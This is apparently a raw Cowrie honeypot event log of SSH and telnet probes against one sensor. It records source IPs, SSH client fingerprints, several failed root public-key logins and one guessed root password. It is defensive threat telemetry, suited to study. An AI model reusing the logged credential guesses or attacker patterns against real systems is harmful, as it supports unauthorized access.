{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.215398Z","src_ip":"148.153.121.223","session":"1a9a6e125bd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51832,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcba28b4900b","protocol":"telnet","message":"New connection: 192.119.13.58:51832 (10.17.0.5:23) [session: bcba28b4900b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.380366Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:0b:e6:fa:f4:45:57:e6:99:2c:33:5a:8a:52:a6:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD3FqOGKKhvk4aGyFv9UjxtacJeB+5va6zT8eahXP4v40LXShJf/3ilHYWLFjgvnWrEd5EIa2prUy5Gpv+C8lrCJkcWxTCBU+MY6Voy0++j8c7FL+R3UFooQNfb52keG5aQeZPZWj9R10f1TIeCA5+F1b2HyG4gQJ2dcHwnQ+9KzgNSQaFzFzXY4uaVX3XZs5N0bkahcUe7Qfl0ABuN0db0SPYn6UXT4qm5fZe/X4sIvmL0NtcN3TO25uUY1npX8BVow5L5kvA/G2isL7VNWIi75fbkCua+2ROa3QqeXWXgc1Fi8liBBlHrq/6ZIn8vzBOh6l6z/b0wu9t5h5j0fJGN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:0b:e6:fa:f4:45:57:e6:99:2c:33:5a:8a:52:a6:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.404985Z","src_ip":"148.153.121.223","session":"1a9a6e125bd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:0b:e6:fa:f4:45:57:e6:99:2c:33:5a:8a:52:a6:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD3FqOGKKhvk4aGyFv9UjxtacJeB+5va6zT8eahXP4v40LXShJf/3ilHYWLFjgvnWrEd5EIa2prUy5Gpv+C8lrCJkcWxTCBU+MY6Voy0++j8c7FL+R3UFooQNfb52keG5aQeZPZWj9R10f1TIeCA5+F1b2HyG4gQJ2dcHwnQ+9KzgNSQaFzFzXY4uaVX3XZs5N0bkahcUe7Qfl0ABuN0db0SPYn6UXT4qm5fZe/X4sIvmL0NtcN3TO25uUY1npX8BVow5L5kvA/G2isL7VNWIi75fbkCua+2ROa3QqeXWXgc1Fi8liBBlHrq/6ZIn8vzBOh6l6z/b0wu9t5h5j0fJGN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.408631Z","src_ip":"148.153.121.223","session":"1a9a6e125bd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:e5:3f:30:6d:5d:08:ae:db:c2:ad:86:31:fb:ce:9b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANQuWCJuglzNmUQU2d2z5a0GCxrp19Un9SsaBcg3BRV2WCuftpsM04D9Ec6tL/Ose+aWFNFZNTrDsxQZLuCipEEMt9csoUfZABa0fLbVPSsHZ/B5wG5KuzBAv6Tx2IjDBPytDhM5WqW2KImwKhCmot3l5lfE3F58fF992evgEqdLAAAAFQDKi1efC7x3/4uTgCa7FMPaHhGsLwAAAIBPuNoe2wWAbhyMUAwNdOeAA7MmL4Xj1PHeKD07EvpVG1nLprCoSFm6yQUbBvrJ2trrtY634Gq+ne9+iwmIjsmxc1Q3ORFFmPk2ukHT+kIbXX2uSec8wg8gZpR74Hkk9j/Bw2D1epL56gz0BEpiilVQhx55onTXyx1h+y0lVr9RwwAAAIBWW52P58nJdNv2Si1u3lFYgnwy2SSQceDv1PSdFEvIf8xdKjT+8FEaaOC7qyo91ulWV2K47044mi8b6NSdgy5dMdsXBoqaSinnAH2Rvjhkwn6s9gQ1SQtgCSyvqF+nrD3z/uOLVHaqpYUvgVP9UqDobZVtZ6zzPJ4VeXsXiil5Ig==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b2:e5:3f:30:6d:5d:08:ae:db:c2:ad:86:31:fb:ce:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.451685Z","src_ip":"148.153.121.223","session":"1a9a6e125bd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:e5:3f:30:6d:5d:08:ae:db:c2:ad:86:31:fb:ce:9b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANQuWCJuglzNmUQU2d2z5a0GCxrp19Un9SsaBcg3BRV2WCuftpsM04D9Ec6tL/Ose+aWFNFZNTrDsxQZLuCipEEMt9csoUfZABa0fLbVPSsHZ/B5wG5KuzBAv6Tx2IjDBPytDhM5WqW2KImwKhCmot3l5lfE3F58fF992evgEqdLAAAAFQDKi1efC7x3/4uTgCa7FMPaHhGsLwAAAIBPuNoe2wWAbhyMUAwNdOeAA7MmL4Xj1PHeKD07EvpVG1nLprCoSFm6yQUbBvrJ2trrtY634Gq+ne9+iwmIjsmxc1Q3ORFFmPk2ukHT+kIbXX2uSec8wg8gZpR74Hkk9j/Bw2D1epL56gz0BEpiilVQhx55onTXyx1h+y0lVr9RwwAAAIBWW52P58nJdNv2Si1u3lFYgnwy2SSQceDv1PSdFEvIf8xdKjT+8FEaaOC7qyo91ulWV2K47044mi8b6NSdgy5dMdsXBoqaSinnAH2Rvjhkwn6s9gQ1SQtgCSyvqF+nrD3z/uOLVHaqpYUvgVP9UqDobZVtZ6zzPJ4VeXsXiil5Ig==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.458292Z","src_ip":"148.153.121.223","session":"1a9a6e125bd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:d9:6e:0e:19:55:07:b1:20:48:b0:4b:d2:c0:26:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFnAyTzoM+gUBCOYIwfbKPJXBdlQkP30apm1ipTZk5uI","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 88:d9:6e:0e:19:55:07:b1:20:48:b0:4b:d2:c0:26:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.501527Z","src_ip":"148.153.121.223","session":"1a9a6e125bd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:d9:6e:0e:19:55:07:b1:20:48:b0:4b:d2:c0:26:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFnAyTzoM+gUBCOYIwfbKPJXBdlQkP30apm1ipTZk5uI","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.505361Z","src_ip":"148.153.121.223","session":"1a9a6e125bd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:5d:61:07:a2:6a:5d:bb:4b:b0:3a:18:ca:d9:e8:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJP/bZxZmVJd2A7EvswBuwqD9H2CfUWl719HoF0TX4/q0O+zLhlDns3svv1ZN1Zya14dkdk4wVcxTxTp8jgJOJ09rOLCxdFHQyFR1HgkDoyGyefhCxFK8CfIW50T8yZ7WASuusm8uzFJA2mgBMQOw+wro0VgONcG+5YNHuRGUOvVxmPd07FiR6E0V37oPS7iLEJ71jfRtdiIf5Njou9EpYa+oBdCwPaut9g6dkue9lL9cnZ8PWuhL9NePh6ennUFZBb0Z6KfTNdSAspkW14+7eJw+AmwUVegZAhtAdSGaa9WxCeIkxBtrmcBoERGMsnAFI8GFbusf6kEUA7AgJn9Wz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:5d:61:07:a2:6a:5d:bb:4b:b0:3a:18:ca:d9:e8:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.548378Z","src_ip":"148.153.121.223","session":"1a9a6e125bd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:5d:61:07:a2:6a:5d:bb:4b:b0:3a:18:ca:d9:e8:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJP/bZxZmVJd2A7EvswBuwqD9H2CfUWl719HoF0TX4/q0O+zLhlDns3svv1ZN1Zya14dkdk4wVcxTxTp8jgJOJ09rOLCxdFHQyFR1HgkDoyGyefhCxFK8CfIW50T8yZ7WASuusm8uzFJA2mgBMQOw+wro0VgONcG+5YNHuRGUOvVxmPd07FiR6E0V37oPS7iLEJ71jfRtdiIf5Njou9EpYa+oBdCwPaut9g6dkue9lL9cnZ8PWuhL9NePh6ennUFZBb0Z6KfTNdSAspkW14+7eJw+AmwUVegZAhtAdSGaa9WxCeIkxBtrmcBoERGMsnAFI8GFbusf6kEUA7AgJn9Wz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.551412Z","src_ip":"148.153.121.223","session":"1a9a6e125bd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:d0:f3:fa:ea:05:6c:6d:fb:00:f7:9b:c4:d9:75:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkXWDSOytHp5ZS60GrfWOAK90mZiPYIeokOzry3QovU64gK0ZQbI2OMN4ZaUsdclgMCPEuJR8AeOtSidm6Tgq8kbKbC7mFsI1hu9aZ319P+wDmGHDiW/xgHEX8Qy5MCGj2/hPpUfujKBwNkVzGEXpZjSij3BWCnsF2+RMHZ3EwcI/jdq1jnav7HDu+UquIJTwZ/j8pAjA49XB2+tE3DLLKrQ+n3+vW9k1P7qqpsYa/WPa9oBIyfYHFtfp1wH3cLa/SD3uGNsZ5UREisPJFD6shKSb3RyYoK4vJ7mWaQ2BHbxWGbT68xWnD6cJR98bj5KQgrSbnMNxnB+JIj4Ox5pjqwVG0/KRzcSfRf7E9u9I80iYH6EgaM10QyaVkZG63+fYHbxEK2ePWCSspIBM0Ljd7HIfYe4xCd3p6R+XWgvgiPbvQ1rt3CaAoGegF/kyRCe+B3BeGkAjI/Rfw0Jc54emfE7wQe0CA0IbvMyW/7/xYEGmbnFeD+JqqW+7s+RzkeoyC5D4gDTanA+4F2TEsfitnX2x4/kYAi1dYXYTCag8sRgcXMyZaMaGDgMKAMISc9+MYl3Z0l9JrPptNDS+EoZqlFeG575jDxx4h/Uxi8sr2chd7+TuJ9/fXjw9zdEaxoCeo/6mERcxav5AE1tDPTvZ7GKnjhdB6rkrX6N4svJIDwQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:d0:f3:fa:ea:05:6c:6d:fb:00:f7:9b:c4:d9:75:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.594063Z","src_ip":"148.153.121.223","session":"1a9a6e125bd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:d0:f3:fa:ea:05:6c:6d:fb:00:f7:9b:c4:d9:75:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkXWDSOytHp5ZS60GrfWOAK90mZiPYIeokOzry3QovU64gK0ZQbI2OMN4ZaUsdclgMCPEuJR8AeOtSidm6Tgq8kbKbC7mFsI1hu9aZ319P+wDmGHDiW/xgHEX8Qy5MCGj2/hPpUfujKBwNkVzGEXpZjSij3BWCnsF2+RMHZ3EwcI/jdq1jnav7HDu+UquIJTwZ/j8pAjA49XB2+tE3DLLKrQ+n3+vW9k1P7qqpsYa/WPa9oBIyfYHFtfp1wH3cLa/SD3uGNsZ5UREisPJFD6shKSb3RyYoK4vJ7mWaQ2BHbxWGbT68xWnD6cJR98bj5KQgrSbnMNxnB+JIj4Ox5pjqwVG0/KRzcSfRf7E9u9I80iYH6EgaM10QyaVkZG63+fYHbxEK2ePWCSspIBM0Ljd7HIfYe4xCd3p6R+XWgvgiPbvQ1rt3CaAoGegF/kyRCe+B3BeGkAjI/Rfw0Jc54emfE7wQe0CA0IbvMyW/7/xYEGmbnFeD+JqqW+7s+RzkeoyC5D4gDTanA+4F2TEsfitnX2x4/kYAi1dYXYTCag8sRgcXMyZaMaGDgMKAMISc9+MYl3Z0l9JrPptNDS+EoZqlFeG575jDxx4h/Uxi8sr2chd7+TuJ9/fXjw9zdEaxoCeo/6mERcxav5AE1tDPTvZ7GKnjhdB6rkrX6N4svJIDwQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.599138Z","src_ip":"148.153.121.223","session":"1a9a6e125bd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.642628Z","src_ip":"148.153.121.223","session":"1a9a6e125bd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.947346448898315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:37.340052Z","src_ip":"192.119.13.58","session":"7767bc3d2774","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37872,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbfe6dfeaf98","protocol":"telnet","message":"New connection: 192.119.13.58:37872 (10.17.0.5:23) [session: dbfe6dfeaf98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:37.807564Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45356,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f6c7cc13596","protocol":"telnet","message":"New connection: 192.119.13.58:45356 (10.17.0.5:23) [session: 4f6c7cc13596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:46.383630Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":38520,"dst_ip":"10.17.0.5","dst_port":22,"session":"688f1f6b6c42","protocol":"ssh","message":"New connection: 103.15.222.183:38520 (10.17.0.5:22) [session: 688f1f6b6c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:46.721690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:46.730270Z","src_ip":"103.15.222.183","session":"688f1f6b6c42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:46.971831Z","src_ip":"103.15.222.183","session":"688f1f6b6c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.00725340843201,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:47.237909Z","src_ip":"192.119.13.58","session":"018e255abafd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50290,"dst_ip":"10.17.0.5","dst_port":23,"session":"852a82039370","protocol":"telnet","message":"New connection: 192.119.13.58:50290 (10.17.0.5:23) [session: 852a82039370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:47.561411Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"madagaskar","message":"login attempt [root/madagaskar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:47.698064Z","src_ip":"103.15.222.183","session":"688f1f6b6c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:48.942614Z","src_ip":"103.15.222.183","session":"688f1f6b6c42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57452,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d46e162577","protocol":"telnet","message":"New connection: 192.119.13.58:57452 (10.17.0.5:23) [session: b0d46e162577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:49.401026Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":37457,"dst_ip":"159.203.135.109","dst_port":23,"session":"21894b8fdc7f","protocol":"telnet","message":"New connection: 186.195.16.41:37457 (159.203.135.109:23) [session: 21894b8fdc7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:50.593036Z"}
{"eventid":"cowrie.session.closed","duration":40.748982429504395,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:53.904183Z","src_ip":"192.119.13.58","session":"b5f10c40d047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57386,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c9a45998511","protocol":"telnet","message":"New connection: 192.119.13.58:57386 (10.17.0.5:23) [session: 6c9a45998511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:56.328443Z"}
{"eventid":"cowrie.session.closed","duration":1.6289916038513184,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:57.957303Z","src_ip":"192.119.13.58","session":"6c9a45998511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36258,"dst_ip":"10.17.0.5","dst_port":23,"session":"ced8b333a00b","protocol":"telnet","message":"New connection: 192.119.13.58:36258 (10.17.0.5:23) [session: ced8b333a00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:59.059114Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43716,"dst_ip":"10.17.0.5","dst_port":23,"session":"a049847f06ed","protocol":"telnet","message":"New connection: 192.119.13.58:43716 (10.17.0.5:23) [session: a049847f06ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:59.821924Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49930,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ce5cc329073","protocol":"telnet","message":"New connection: 192.119.13.58:49930 (10.17.0.5:23) [session: 6ce5cc329073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:01.314776Z"}
{"eventid":"cowrie.session.closed","duration":43.53032302856445,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:05.118430Z","src_ip":"192.119.13.58","session":"5704bd8285d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36756,"dst_ip":"10.17.0.5","dst_port":23,"session":"f46fe8bb48b7","protocol":"telnet","message":"New connection: 192.119.13.58:36756 (10.17.0.5:23) [session: f46fe8bb48b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:05.154683Z"}
{"eventid":"cowrie.session.closed","duration":49.29886245727539,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:13.979800Z","src_ip":"192.119.13.58","session":"2d856dff2270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49890,"dst_ip":"10.17.0.5","dst_port":23,"session":"47a95e46b61f","protocol":"telnet","message":"New connection: 192.119.13.58:49890 (10.17.0.5:23) [session: 47a95e46b61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:15.799132Z"}
{"eventid":"cowrie.session.closed","duration":42.605140209198,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:17.715626Z","src_ip":"192.119.13.58","session":"f0189436c88e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.139180421829224,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:18.519382Z","src_ip":"192.119.13.58","session":"bcba28b4900b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.668293952941895,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:18.703384Z","src_ip":"192.119.13.58","session":"253772c81728","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34766,"dst_ip":"10.17.0.5","dst_port":23,"session":"34a737319359","protocol":"telnet","message":"New connection: 192.119.13.58:34766 (10.17.0.5:23) [session: 34a737319359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:18.936033Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42614,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f20e43e0713","protocol":"telnet","message":"New connection: 192.119.13.58:42614 (10.17.0.5:23) [session: 6f20e43e0713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:20.722169Z"}
{"eventid":"cowrie.session.closed","duration":36.29392957687378,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:22.677481Z","src_ip":"192.119.13.58","session":"4f6c7cc13596","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.261019468307495,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:23.068441Z","src_ip":"192.119.13.58","session":"dbfe6dfeaf98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39324,"dst_ip":"10.17.0.5","dst_port":23,"session":"77dc9976dce3","protocol":"telnet","message":"New connection: 192.119.13.58:39324 (10.17.0.5:23) [session: 77dc9976dce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:26.965377Z"}
{"eventid":"cowrie.session.closed","duration":39.69382858276367,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:55:27.255121Z","src_ip":"192.119.13.58","session":"852a82039370","protocol":"telnet"}
